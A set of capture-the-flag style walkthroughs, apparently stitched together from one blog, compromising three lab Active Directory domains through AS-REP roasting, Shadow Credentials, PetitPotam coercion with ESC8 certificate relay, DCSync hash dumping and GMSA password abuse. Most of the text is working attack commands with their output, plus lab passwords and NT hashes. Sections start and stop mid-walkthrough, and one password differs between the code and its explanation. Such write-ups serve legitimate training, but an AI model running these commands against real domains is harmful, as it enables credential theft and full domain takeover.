Session completed. 

The certificate’s password is misspissy. We import it into the browser and access the ADCS portal at https://RESEARCH.search.htb/certsrv:

We log in with Sierra.Frye’s credentials using the certificate:

From there, the following PowerShell block (DSInternals module) reads the GMSA’s password and uses it to change tristan.davies’s password:

1. Get the GMSA password blob

$gmsa = Get-ADServiceAccount -Identity 'BIR-ADFS-GMSA' -Properties 'msDS-ManagedPassword'

Get-ADServiceAccount queries the gMSA object in the directory. -Properties 'msDS-ManagedPassword' is the key part: that attribute isn’t returned by default and can only be read by groups holding ReadGMSAPassword permission — which is exactly what BloodHound showed Sierra.Frye has via BIRMINGHAM-ITSEC → ITSEC.

$mp = $gmsa.'msDS-ManagedPassword'
ConvertFrom-ADManagedPasswordBlob $mp

ConvertFrom-ADManagedPasswordBlob (from the DSInternals module) decodes the binary MSDS-MANAGEDPASSWORD_BLOB blob and returns the GMSA’s current password. The unreadable text that shows up on the console is the actual GMSA password — it’s random and in UTF-16, which is why it looks like garbled characters, but it’s completely valid.

2. Save the password and build the credential object

$password = (ConvertFrom-ADManagedPasswordBlob $mp).CurrentPassword
$SecPass = (ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword
$cred = New-Object System.Management.Automation.PSCredential BIR-ADFS-GMSA, $SecPass

The password is pulled as a SecureString and used to build a PSCredential object representing the identity of the BIR-ADFS-GMSA$ service account.

3. Run the password reset acting as the GMSA account

Invoke-Command -ComputerName 127.0.0.1 `
    -ScriptBlock {Set-ADAccountPassword -Identity tristan.davies -reset `
        -NewPassword (ConvertTo-SecureString -AsPlainText 'Iamwin123!' -force)} `
    -Credential $cred

• Invoke-Command runs the block authenticated with -Credential $cred, meaning as BIR-ADFS-GMSA$, not as sierra.frye. This is the key part: even though Sierra runs the command, the script block executes with the GMSA’s privileges, and it’s the GMSA that holds GenericAll over tristan.davies.
• Set-ADAccountPassword -reset lets you change the password without knowing the previous one, thanks to the GenericAll right, which grants full control over the object.
• -NewPassword (ConvertTo-SecureString -AsPlainText 'Iamwin1234!' -force) sets the new password as a SecureString.

And that’s it.

11. Attack Chain Summary

[Web Enumeration — unauthenticated]
    Site image with a password embedded in clear text
    hope.sharp : IsolationIsKey?

[Kerberoasting — hope.sharp]
    web_svc has SPN RESEARCH/web_svc.search.htb:60001
    hashcat -m 13100 + rockyou.txt → @3ONEmillionbaby

[Password Spraying — @3ONEmillionbaby]
    Edgar.Jacobs reuses web_svc's password
    Excel Phishing_Attempt.xlsx → column C (Password) hidden

[Hidden Excel column — Edgar.Jacobs]
    Copy/paste into a new sheet → column C visible
    NXC --no-bruteforce → Sierra.Frye:$$49=wide=STRAIGHT=jordan=28$$18

[BloodHound — Sierra.Frye]
    sierra.frye → BIRMINGHAM-ITSEC → ITSEC → ReadGMSAPassword(BIR-ADFS-GMSA$)
    BIR-ADFS-GMSA$ → GenericAll → tristan.davies → Domain Admins

[GMSA + GenericAll]
    NXC ldap --gmsa → NTLM hash BIR-ADFS-GMSA$
    pth-net rpc password → new password for tristan.davies
    Domain Compromised (Pwn3d!)

Thanks for reading — I hope this is useful. If you have any questions, corrections, or just want to talk shop, my socials are linked on this blog.

Closing quote:

“Somewhere, something incredible is waiting to be known.”

— Carl Sagan

We start by verifying connectivity to the target machine. Once confirmed, we export the IP into an environment variable to avoid retyping it on every command:

┌──(iamwin㉿0xWin)-[~/Documents/HackSmarter]
└─$ ping -c 4 10.1.79.82
PING 10.1.79.82 (10.1.79.82) 56(84) bytes of data.
64 bytes from 10.1.79.82: icmp_seq=1 ttl=126 time=108 ms
64 bytes from 10.1.79.82: icmp_seq=2 ttl=126 time=108 ms
64 bytes from 10.1.79.82: icmp_seq=3 ttl=126 time=108 ms
64 bytes from 10.1.79.82: icmp_seq=4 ttl=126 time=107 ms

--- 10.1.79.82 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3006ms
rtt min/avg/max/mdev = 107.443/108.011/108.388/0.353 ms

We run a full port scan combining rustscan for speed and nmap for service fingerprinting:

┌──(iamwin㉿0xWin)-[~/Documents/HackSmarter]
└─$ rustscan -a 10.1.79.82 --ulimit 1000 -r 1-65535 -- -A -sC -sV -o nmapresult.txt

PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 126 Simple DNS Plus
80/tcp    open  http          syn-ack ttl 126 Microsoft IIS httpd 10.0
88/tcp    open  kerberos-sec  syn-ack ttl 126 Microsoft Windows Kerberos
135/tcp   open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 126 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 126 Microsoft Windows AD LDAP (Domain: shadow.gate)
445/tcp   open  microsoft-ds? syn-ack ttl 126
464/tcp   open  kpasswd5?     syn-ack ttl 126
593/tcp   open  ncacn_http    syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack ttl 126 Microsoft Windows AD LDAP
3268/tcp  open  ldap          syn-ack ttl 126 Microsoft Windows AD LDAP
3269/tcp  open  ssl/ldap      syn-ack ttl 126 Microsoft Windows AD LDAP
3389/tcp  open  ms-wbt-server syn-ack ttl 126 Microsoft Terminal Services
5985/tcp  open  http          syn-ack ttl 126 Microsoft HTTPAPI httpd 2.0
9389/tcp  open  mc-nmf        syn-ack ttl 126 .NET Message Framing

Service Info: Host: DC01; OS: Windows
| rdp-ntlm-info:
|   Target_Name: SHADOW
|   DNS_Domain_Name: shadow.gate
|   DNS_Computer_Name: DC01.shadow.gate
|   Product_Version: 10.0.20348
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required

Ports 53, 88, 389, 445, 636 and 3268 together are the unmistakable fingerprint of a Domain Controller. The single most valuable detail here: SMB signing is enabled but not enforced — this leaves the door open for NTLM relay attacks later in the chain.

We generate the /etc/hosts entry directly with NetExec so the domain resolves cleanly:

┌──(iamwin㉿0xWin)-[~/Documents/HackSmarter]
└─$ nxc smb $IP --generate-hosts-file hosts
SMB  10.1.79.82  445  DC01  [*] Windows Server 2022 Build 20348 x64 (domain:shadow.gate) (signing:False) (DC:True)

┌──(iamwin㉿0xWin)-[~/Documents/HackSmarter]
└─$ cat hosts
10.1.79.82     DC01.shadow.gate shadow.gate DC01

We add that line to /etc/hosts and export our session variables:

export IP=10.1.79.82
export DOMAIN=shadow.gate
export FQDN=DC01.shadow.gate

2. Anonymous SMB Enumeration

We probe SMB with a null session and the built-in guest account:

┌──(iamwin㉿0xWin)-[~/Documents/HackSmarter]
└─$ nxc smb $IP -u '' -p ''
SMB  10.1.79.82  445  DC01  [+] shadow.gate\:

┌──(iamwin㉿0xWin)-[~/Documents/HackSmarter]
└─$ nxc smb $IP -u 'guest' -p ''
SMB  10.1.79.82  445  DC01  [-] shadow.gate\guest: STATUS_ACCOUNT_DISABLED

The null session authenticates successfully, but share enumeration returns STATUS_ACCESS_DENIED. We escalate to enum4linux-ng to extract everything possible without credentials:

┌──(iamwin㉿0xWin)-[~/Documents/HackSmarter]
└─$ enum4linux-ng -A -v 10.1.79.82 2>&1
ENUM4LINUX - next generation (v1.3.10)

[+] LDAP is accessible on 389/tcp
[+] LDAPS is accessible on 636/tcp
[+] SMB is accessible on 445/tcp
[+] Appears to be root/parent DC
[+] Long domain name is: shadow.gate
[+] Server allows authentication via username '' and password ''
[+] Found 12 user(s) via 'querydispinfo'

'1103': username: ATHENA
'1104': username: mbrownlee  (Marcel Brownlee)
'1109': username: bbrown     (Bob Brown)
'1110': username: jtrueblood (James Trueblood)
'1112': username: jsmith     (John Smith)
'1113': username: clocke     (Caroline Locke)
'1114': username: tclarke    (Todd Clarke)
'1115': username: jbradford  (John Bradford)
'1116': username: amoss      (Angela Moss)
'500':  username: Administrator
'501':  username: Guest

[+] Found policy:
Domain password information:
  Password history length: 24
  Minimum password length: 8
  Minimum password age: 1 day 4 minutes
  Maximum password age: 365 days
  - DOMAIN_PASSWORD_COMPLEX: false
Domain lockout information:
  Lockout threshold: 10
  Lockout duration: 3 minutes
  Lockout observation window: 3 minutes

A single unauthenticated query hands us a goldmine:

3. AS-REP Roasting — First Credential

With our user list ready, we run AS-REP Roasting. This attack targets accounts where Kerberos pre-authentication is disabled (UF_DONT_REQUIRE_PREAUTH): the KDC replies with a ticket encrypted with the user’s key without verifying who asked for it, letting us capture it and crack it offline.

┌──(iamwin㉿0xWin)-[~/Documents/HackSmarter]
└─$ cat > users.txt << 'EOF'
ATHENA
mbrownlee
bbrown
jsmith
clocke
tclarke
jbradford
amoss
jtrueblood
EOF

┌──(iamwin㉿0xWin)-[~/Documents/HackSmarter]
└─$ impacket-GetNPUsers $DOMAIN/ -no-pass -usersfile users.txt
Impacket v0.14.0.dev0 - Copyright Fortra, LLC

[-] User ATHENA doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mbrownlee doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User bbrown doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jsmith doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User clocke doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User tclarke doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jbradford doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User amoss doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$jtrueblood@SHADOW.GATE:8d030b4ee8602440befd901f9612f6fb$7754ec49...87b04a

Only jtrueblood has pre-authentication disabled. We crack the AS-REP hash offline with hashcat:

iamwin@Jean:~$ hashcat -a 0 -m 18200 asrep_jtrueblood /usr/share/kali-wordlists/rockyou.txt

$krb5asrep$23$jtrueblood@SHADOW.GATE:[...]:blood_brothers

Status: Cracked
Time.Started: Sun Sep 20 18:57:52 2026 (4 secs)
Speed.#01: 2975.9 kH/s @ Accel:1024
Progress: 9584640/14344385 (66.82%)

First credential obtained:

jtrueblood : blood_brothers

We validate and enumerate shares:

┌──(iamwin㉿0xWin)-[~/Documents/HackSmarter]
└─$ nxc smb $FQDN -u jtrueblood -p 'blood_brothers' --shares
SMB  10.1.79.82  445  DC01  [+] shadow.gate\jtrueblood:blood_brothers
SMB  10.1.79.82  445  DC01  Share        Permissions   Remark
SMB  10.1.79.82  445  DC01  CertEnroll   READ          Active Directory Certificate Services share
SMB  10.1.79.82  445  DC01  IPC$         READ          Remote IPC
SMB  10.1.79.82  445  DC01  NETLOGON     READ          Logon server share
SMB  10.1.79.82  445  DC01  SYSVOL       READ          Logon server share

The CertEnroll share confirms ADCS is running on this domain. We take a look inside:

┌──(iamwin㉿0xWin)-[~/Documents/HackSmarter]
└─$ smbng -H $IP -P 445 -d $DOMAIN -u jtrueblood -p 'blood_brothers'
■[\\10.1.79.82\CertEnroll\]> tree
├── DC01.shadow.gate_shadow-DC01-CA.crt
├── nsrev_shadow-DC01-CA.asp
├── shadow-DC01-CA+.crl
└── shadow-DC01-CA.crl

Nothing directly exploitable in the share, but we now know there is an active CA. We move on to enumerate AD object permissions.

4. Shadow Credentials — Compromising bbrown

We use bloodyAD to enumerate objects that jtrueblood has write permissions over in Active Directory:

┌──(iamwin㉿0xWin)-[~/Documents/HackSmarter]
└─$ bloodyAD --host $IP -d $DOMAIN -u jtrueblood -p 'blood_brothers' get writable

distinguishedName: CN=Bob Brown,OU=Technology,OU=Departments,DC=shadow,DC=gate
permission: WRITE

distinguishedName: CN=James Trueblood,OU=Technology,OU=Departments,DC=shadow,DC=gate
permission: WRITE

distinguishedName: DC=shadow.gate,CN=MicrosoftDNS,DC=DomainDnsZones,DC=shadow,DC=gate
permission: CREATE_CHILD

jtrueblood has write access over bbrown’s AD object. This opens up two attack paths:

• Targeted Kerberoasting: set a fake SPN on bbrown, request a TGS and crack it offline.
• Shadow Credentials: inject a public key into bbrown’s msDS-KeyCredentialLink attribute and authenticate as him without ever knowing his password.

We go with Shadow Credentials — cleaner and requires no cracking. The technique works by appending a public key we control to the victim’s msDS-KeyCredentialLink attribute. Kerberos then allows us to request a TGT using the matching certificate via PKINIT, and from there we recover the NT hash through U2U Kerberos.

We first check whether bbrown already has any credential registered:

┌──(iamwin㉿0xWin)-[~/Documents/HackSmarter]
└─$ certipy shadow list -u jtrueblood@$DOMAIN -p 'blood_brothers' -account bbrown -dc-ip $IP
Certipy v5.1.0 - by Oliver Lyak (ly4k)

[*] Targeting user 'bbrown'

No existing msDS-KeyCredentialLink entries. We run shadow auto, which handles the full cycle automatically — inject the key, authenticate via PKINIT, recover the NT hash, then clean up the injected entry:

┌──(iamwin㉿0xWin)-[~/Documents/HackSmarter]
└─$ certipy shadow auto -u jtrueblood@$DOMAIN -p 'blood_brothers' -account bbrown -dc-ip $IP
Certipy v5.1.0 - by Oliver Lyak (ly4k)

[*] Targeting user 'bbrown'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '53686b3159964ffc99a798fc14271495'
[*] Adding Key Credential to the Key Credentials for 'bbrown'
[*] Successfully added Key Credential to the Key Credentials for 'bbrown'
[*] Authenticating as 'bbrown' with the certificate
[*] Got TGT
[*] Trying to retrieve NT hash for 'bbrown'
[*] Restoring the old Key Credentials for 'bbrown'
[*] Successfully restored the old Key Credentials for 'bbrown'
[*] NT hash for 'bbrown': 259745cb123a52aa2e693aaacca2db52

Second credential obtained (Pass-the-Hash):

bbrown : 259745cb123a52aa2e693aaacca2db52

We validate the hash and check shares:

┌──(iamwin㉿0xWin)-[~/Documents/HackSmarter]
└─$ nxc smb $FQDN -u bbrown -H 259745cb123a52aa2e693aaacca2db52 --shares
SMB  10.1.79.82  445  DC01  [+] shadow.gate\bbrown:259745cb123a52aa2e693aaacca2db52
SMB  10.1.79.82  445  DC01  Share        Permissions
SMB  10.1.79.82  445  DC01  CertEnroll   READ
SMB  10.1.79.82  445  DC01  NETLOGON     READ
SMB  10.1.79.82  445  DC01  SYSVOL       READ

5. ADCS ESC8 — NTLM Relay to Web Enrollment

With bbrown’s credentials, we audit certificate templates using certipy find:

┌──(iamwin㉿0xWin)-[~/Documents/HackSmarter]
└─$ certipy find -u bbrown@shadow.gate -hashes :259745cb123a52aa2e693aaacca2db52 \
    -target shadow.gate -dc-ip $IP -vulnerable -stdout
Certipy v5.1.0 - by Oliver Lyak (ly4k)

Certificate Authorities
  0
    CA Name                : shadow-DC01-CA
    DNS Name               : DC01.shadow.gate
    Web Enrollment
      HTTP
        Enabled            : True
      HTTPS
        Enabled            : False
    User Specified SAN     : Disabled
    Request Disposition    : Issue
    [!] Vulnerabilities
      ESC8                 : Web Enrollment is enabled over HTTP.

ESC8 confirmed. What does this mean in practice?

ESC8 occurs when the CA exposes the Web Enrollment endpoint (/certsrv/certfnsh.asp) over HTTP without Extended Protection for Authentication (EPA) and without mandatory NTLM channel binding. This allows an attacker to relay NTLM authentication from any machine toward this endpoint and request a certificate on behalf of the relayed identity — no password or hash required.

If we can force the Domain Controller to authenticate against us (via a coercion technique), we can relay DC01$’s NTLM authentication to the CA and obtain a valid certificate issued to DC01$. With that certificate we request a TGT via PKINIT and derive the NT hash of DC01$ — a machine account that holds full DCSync rights over the domain.

We verify the HTTP endpoint is up:

┌──(iamwin㉿0xWin)-[~/Documents/HackSmarter]
└─$ curl -s -o /dev/null -w "%{http_code}\n" http://DC01.shadow.gate/certsrv/
401

401 confirms the endpoint is alive and waiting for authentication — ideal relay target.

5.1 Setting Up the Relay (Certipy)

We open a first terminal and start the relay server. It listens on port 445, catches incoming NTLM connections, relays them to the CA over HTTP and requests a certificate using the DomainController template:

┌──(iamwin㉿0xWin)-[~/Documents/HackSmarter]
└─$ certipy relay -target http://DC01.shadow.gate -ca shadow-DC01-CA -template DomainController -debug
Certipy v5.1.0 - by Oliver Lyak (ly4k)

[*] Targeting http://DC01.shadow.gate/certsrv/certfnsh.asp (ESC8)
[*] Listening on 0.0.0.0:445
[*] Setting up SMB Server on port 445

5.2 Coercion via PetitPotam

In a second terminal, we force the DC to authenticate against our machine using PetitPotam. This exploit abuses the MS-EFSRPC protocol to make any Windows machine initiate an NTLM authentication handshake toward an arbitrary IP.

Why does this work? MS-EFSRPC (Encrypting File System Remote Protocol) exposes RPC functions that internally cause the server to access a UNC path. If that path points to our machine, Windows automatically initiates an NTLM authentication — no user interaction required, no elevated privileges needed on the target.

┌──(iamwin㉿0xWin)-[~/Documents/HackSmarter]
└─$ python3 PetitPotam/PetitPotam.py -u bbrown -hashes :259745cb123a52aa2e693aaacca2db52 \
    -d shadow.gate 10.200.97.110 DC01.shadow.gate

Trying pipe lsarpc
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

EfsRpcOpenFileRaw is patched (Microsoft addressed it in August 2021), but EfsRpcEncryptFileSrv remains unpatched and functional. The coercion succeeded.

Back in our relay terminal, DC01$ authentication is caught and forwarded to the CA:

[*] (SMB): Received connection from 10.1.79.82, attacking target http://DC01.shadow.gate
[*] HTTP Request: GET http://dc01.shadow.gate/certsrv/certfnsh.asp "HTTP/1.1 200 OK"
[+] HTTP server returned status code 200, treating as successful login
[*] (SMB): Authenticating connection from /@10.1.79.82 against http://DC01.shadow.gate SUCCEED [1]
[+] Generating RSA key
[*] Requesting certificate for '\' based on the template 'DomainController'
[*] Certificate issued with request ID 5
[*] Got certificate with DNS Host Name 'DC01.shadow.gate'
[+] Found SID in security extension: 'S-1-5-21-243493930-1113464705-3012771586-1000'
[*] Saving certificate and private key to 'dc01.pfx'
[+] Data written to 'dc01.pfx'

The CA, upon receiving the relayed NTLM authentication, genuinely believes it is talking to DC01$ and issues a valid certificate in its name — without asking for any password, trusting solely the NTLM session that arrived. This is the core of ESC8.

6. From DC01$ to Domain Admin — DCSync

6.1 NT Hash of DC01$ via PKINIT

We use the certificate we just obtained to authenticate as DC01$ and extract its NT hash:

┌──(iamwin㉿0xWin)-[~/Documents/HackSmarter]
└─$ certipy auth -pfx dc01.pfx -dc-ip $IP
Certipy v5.1.0 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN DNS Host Name: 'DC01.shadow.gate'
[*]     Security Extension SID: 'S-1-5-21-243493930-1113464705-3012771586-1000'
[*] Using principal: 'dc01$@shadow.gate'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'dc01.ccache'
[*] Trying to retrieve NT hash for 'dc01$'
[*] Got hash for 'dc01$@shadow.gate': aad3b435b51404eeaad3b435b51404ee:853ae6b8c3f0b07b727453c7db71f281

6.2 DCSync

Every Domain Controller machine account holds DS-Replication-Get-Changes and DS-Replication-Get-Changes-All rights over the domain partition — the same permissions DCs use to replicate changes between each other. secretsdump leverages these rights to execute a DCSync, pulling every credential in the domain directly from Active Directory without ever touching disk on the DC:

┌──(iamwin㉿0xWin)-[~/Documents/HackSmarter]
└─$ secretsdump.py -just-dc shadow.gate/'dc01$'@$FQDN \
    -hashes aad3b435b51404eeaad3b435b51404ee:853ae6b8c3f0b07b727453c7db71f281
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets

Administrator:500:aad3b435b51404eeaad3b435b51404ee:4366ec0f86e29be2a4a5e87a1ba922ec:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b5509cbfe52e94940c0ec99b21e09802:::
shadow.gate\ATHENA:1103:aad3b435b51404eeaad3b435b51404ee:3215f4c7c852647c88694ab0b57daaba:::
shadow.gate\mbrownlee:1104:aad3b435b51404eeaad3b435b51404ee:6f16868319543175e7f3e6d4eea9adfb:::
shadow.gate\bbrown:1109:aad3b435b51404eeaad3b435b51404ee:259745cb123a52aa2e693aaacca2db52:::
shadow.gate\jtrueblood:1110:aad3b435b51404eeaad3b435b51404ee:27e133a345b980d24e3a60f169f2cb7e:::
shadow.gate\jsmith:1112:aad3b435b51404eeaad3b435b51404ee:be0b6d125a6645747d91d30ed3bef98f:::
shadow.gate\clocke:1113:aad3b435b51404eeaad3b435b51404ee:ff506444e2c59b0241812e8e17b0f05e:::
shadow.gate\tclarke:1114:aad3b435b51404eeaad3b435b51404ee:9290a555713c7db0cf7fbf0ac28c1100:::
shadow.gate\jbradford:1115:aad3b435b51404eeaad3b435b51404ee:f5c86043de2a116c6458f3de9aad89de:::
shadow.gate\amoss:1116:aad3b435b51404eeaad3b435b51404ee:381480af4a988ad46758c2f79ee64090:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:853ae6b8c3f0b07b727453c7db71f281:::

[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:6bf0048464b8fdf7a2db10f4799715a0c6471ac724424007e95bf55cd6841445
krbtgt:aes256-cts-hmac-sha1-96:9d2c8f2fecd0d6813cde513680b594210cf9c91bc2d4f6715ce25972b6a7c7c5
[*] Cleaning up...

Domain fully compromised. Administrator NT hash: 4366ec0f86e29be2a4a5e87a1ba922ec.

7. Attack Path Summary

[Null Session]
    Anonymous enumeration
    9 domain users · no password complexity · lockout threshold 10 · ADCS-Reader group

[AS-REP Roasting]
    jtrueblood → UF_DONT_REQUIRE_PREAUTH
    hashcat + rockyou.txt → blood_brothers

[Shadow Credentials — jtrueblood → bbrown]
    WRITE access over bbrown's AD object
    certipy shadow auto → PKINIT → NT hash bbrown

[ADCS ESC8 — NTLM Relay to HTTP Web Enrollment]
    certipy relay (listener :445)
    PetitPotam coercion → DC01$ NTLM auth toward us
    CA issues dc01.pfx on behalf of DC01$

[PKINIT + DCSync]
    certipy auth → NT hash DC01$
    secretsdump DRSUAPI → all domain hashes
    Domain Compromised

Thanks for reading — I hope this is useful. If you have any questions, corrections, or just want to talk shop, my socials are linked on this blog.

Closing quote:

“The quieter you become, the more you can hear.”

— Ram Dass

The security assessment begins with a fast TCP port scan using rustscan combined with nmap to identify exposed services on the target:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ rustscan -a $IP --ulimit 1000 -r 1-65535 -- -A -sC -sV -o nmapresult.txt

Nmap scan report for 10.129.232.99
Host is up, received echo-reply ttl 127 (0.47s latency).
Scanned at 2026-09-04 15:34:04 EDT for 122s

PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
80/tcp    open  http          syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: Infiltrator.htb
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-09-04 19:33:15Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Issuer: commonName=infiltrator-DC01-CA/domainComponent=infiltrator
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb, Site: Default-First-Site-Name)
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb, Site: Default-First-Site-Name)
3269/tcp  open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb, Site: Default-First-Site-Name)
3389/tcp  open  ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: INFILTRATOR
|   NetBIOS_Domain_Name: INFILTRATOR
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: infiltrator.htb
|   DNS_Computer_Name: dc01.infiltrator.htb
|   Product_Version: 10.0.17763
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49690/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49691/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49696/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49728/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49752/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

NetExec is utilized to gather SMB details and generate a local hosts file entry:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ nxc smb $IP --generate-hosts-file hosts
SMB         10.129.232.99   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ cat hosts     
10.129.232.99     DC01.infiltrator.htb infiltrator.htb DC01

These records are appended to /etc/hosts to enable proper FQDN resolution and Kerberos authentication.

DNS Enumeration (Port 53)

The DNS service configuration is inspected by performing ANY queries and testing for zone transfers (AXFR):

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ dig any infiltrator.htb @$IP

;; QUESTION SECTION:
;infiltrator.htb.               IN      ANY

;; ANSWER SECTION:
infiltrator.htb.        600     IN      A       10.129.232.99
infiltrator.htb.        3600    IN      NS      dc01.infiltrator.htb.
infiltrator.htb.        3600    IN      SOA     dc01.infiltrator.htb. hostmaster.infiltrator.htb. 426 900 600 86400 3600

;; ADDITIONAL SECTION:
dc01.infiltrator.htb.   3600    IN      A       10.129.232.99

Zone transfer (AXFR) requests fail, confirming that unauthorized domain zone transfers are properly restricted.

2. Web Enumeration & User Generation

Navigating to the web service hosted on port 80 (http://infiltrator.htb) reveals the organization’s corporate website.

Inspecting the About section provides a list of members from the Digital Team:

The full names of the employees are extracted:

david anderson
olivia martinez
kevin turner
amanda walker
marcus harris
lauren clark
ethan rodriguez

Using namemash.py, common Active Directory username conventions are generated from the list:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ python3 namemash.py users.txt > usersv2.txt

User Validation via Kerbrute

The generated list is validated against the Kerberos KDC using kerbrute:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ kerbrute userenum --dc $IP -d $DOMAIN usersv2.txt

Version: v1.0.3 (9dad6e1) - 09/04/26 - Ronnie Flathers @ropnop

2026/09/04 16:03:29 >  Using KDC(s):
2026/09/04 16:03:29 >   10.129.232.99:88

2026/09/04 16:03:29 >  [+] VALID USERNAME:       d.anderson@infiltrator.htb
2026/09/04 16:03:30 >  [+] VALID USERNAME:       o.martinez@infiltrator.htb
2026/09/04 16:03:30 >  [+] VALID USERNAME:       k.turner@infiltrator.htb
2026/09/04 16:03:31 >  [+] VALID USERNAME:       a.walker@infiltrator.htb
2026/09/04 16:03:32 >  [+] VALID USERNAME:       m.harris@infiltrator.htb
2026/09/04 16:03:32 >  [+] VALID USERNAME:       e.rodriguez@infiltrator.htb
2026/09/04 16:03:33 >  [+] VALID USERNAME:       l.clark@infiltrator.htb
2026/09/04 16:03:33 >  Done! Tested 77 usernames (7 valid) in 3.938 seconds

The 7 confirmed valid domain usernames are consolidated into users_validos.txt:

d.anderson
o.martinez
k.turner
a.walker
m.harris
e.rodriguez
l.clark

3. Initial Access: AS-REP Roasting & Kerberos Spraying

With valid accounts confirmed, an AS-REP Roasting attack is conducted via impacket-GetNPUsers to identify accounts with Kerberos preauthentication disabled (DONT_REQ_PREAUTH):

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ impacket-GetNPUsers $DOMAIN/ -no-pass -usersfile users_validos.txt

Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[-] User d.anderson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User o.martinez doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User k.turner doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User a.walker doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User m.harris doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User e.rodriguez doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$l.clark@INFILTRATOR.HTB:fe1ddca5480ed517fb90307886180d2e$2eed3c7b0c39185db253ca02c7cb8fd5260abe4d417fde12970b355fb4960602408d55d50effc4ee329ddff44ee320a77dd4d3b4b01cb6c2d3b5c16fc5b7f11bdaac65f530e34bc71825686c3cbdd687a3d342dc3f20a1e4105aa99145519594160efeac62d8d5759e721c7f16f60a576e17ed7db062637c581000f5c3d852a686a34ec7797b9e0bf1a9181ee70eea07f0dda9f8f745c20fbfe9fb6ddac837f9920b006772ef41daeef1420a0314007ee0a39640f5a358b08557ebaff2894bce92d1c82308c2949d8a20507f5baed7741b4326bfd6d8974fcd621780ef7a8ef37c972bb4766f754127388752df369a7fc691

The account l.clark does not require preauthentication, yielding an AS-REP ticket encrypted with a key derived from her plaintext password.

Offline Hash Cracking with Hashcat

